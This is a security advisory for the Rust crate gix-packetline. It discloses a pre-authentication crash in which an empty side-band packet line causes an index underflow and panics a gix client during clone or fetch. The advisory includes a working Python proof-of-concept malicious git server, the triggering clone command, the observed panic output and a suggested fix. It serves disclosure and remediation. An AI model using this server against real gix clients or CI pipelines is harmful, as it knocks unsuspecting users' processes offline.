GHSA-2vh6-hw4j-32ww

### Summary `gix-packetline` panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the `gix` client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

### Details In `gix-packetline/src/lib.rs`, `impl From<&[u8]> for TextRef` strips a trailing newline with `d[d.len() - 1]`: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When `d` is empty (an empty side-band payload after the band-id byte is removed), `d.len() - 1` underflows `usize` (to `18446744073709551615`, i.e. `0 - 1`) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked `split_at_mut` in `gix-packetline/src/blocking_io/read.rs` is in the same DoS class and worth hardening in the same pass.)

### PoC Confirmed against `gix v0.54.0` (crate `gix-packetline 0.21.4`) and current `main`.

1. Run a minimal malicious git server on `127.0.0.1:9418`. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes `0005` + `0x02` - a side-band line of length 5 whose content is the single band-id byte `0x02` with an EMPTY payload:

```python import socket HOST, PORT = "127.0.0.1", 9418 def pkt(d): return ("%04x" % (len(d)+4)).encode() + d FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890" def handle(c): c.recv(65536) c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n") +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH) buf=b""; sent=False while True: d=c.recv(65536) if not d: return buf+=d if b"command=ls-refs" in buf and not sent: c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n") +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf): c.sendall(pkt(b"packfile\n") + b"0005\x02") # band id 2, EMPTY payload try: c.recv(4096) except Exception: pass return s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) s.bind((HOST,PORT)); s.listen(1); print("listening",PORT) conn,_=s.accept(); conn.settimeout(5.0) try: handle(conn) finally: conn.close(); s.close() ```

2. Point the real client at it: ``` RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out ```

Observed: ``` thread 'main' panicked at gix-packetline/src/lib.rs:199:20: index out of bounds: the len is 0 but the index is 18446744073709551615 exit code: 101 ``` ### Impact A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using `gix` / `gix-packetline` crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

### Suggested fix Guard the empty-slice case instead of indexing unconditionally, e.g. `let d = d.strip_suffix(b"\n").unwrap_or(d);`, or check `!d.is_empty()` / `d.last() == Some(&b'\n')` before slicing.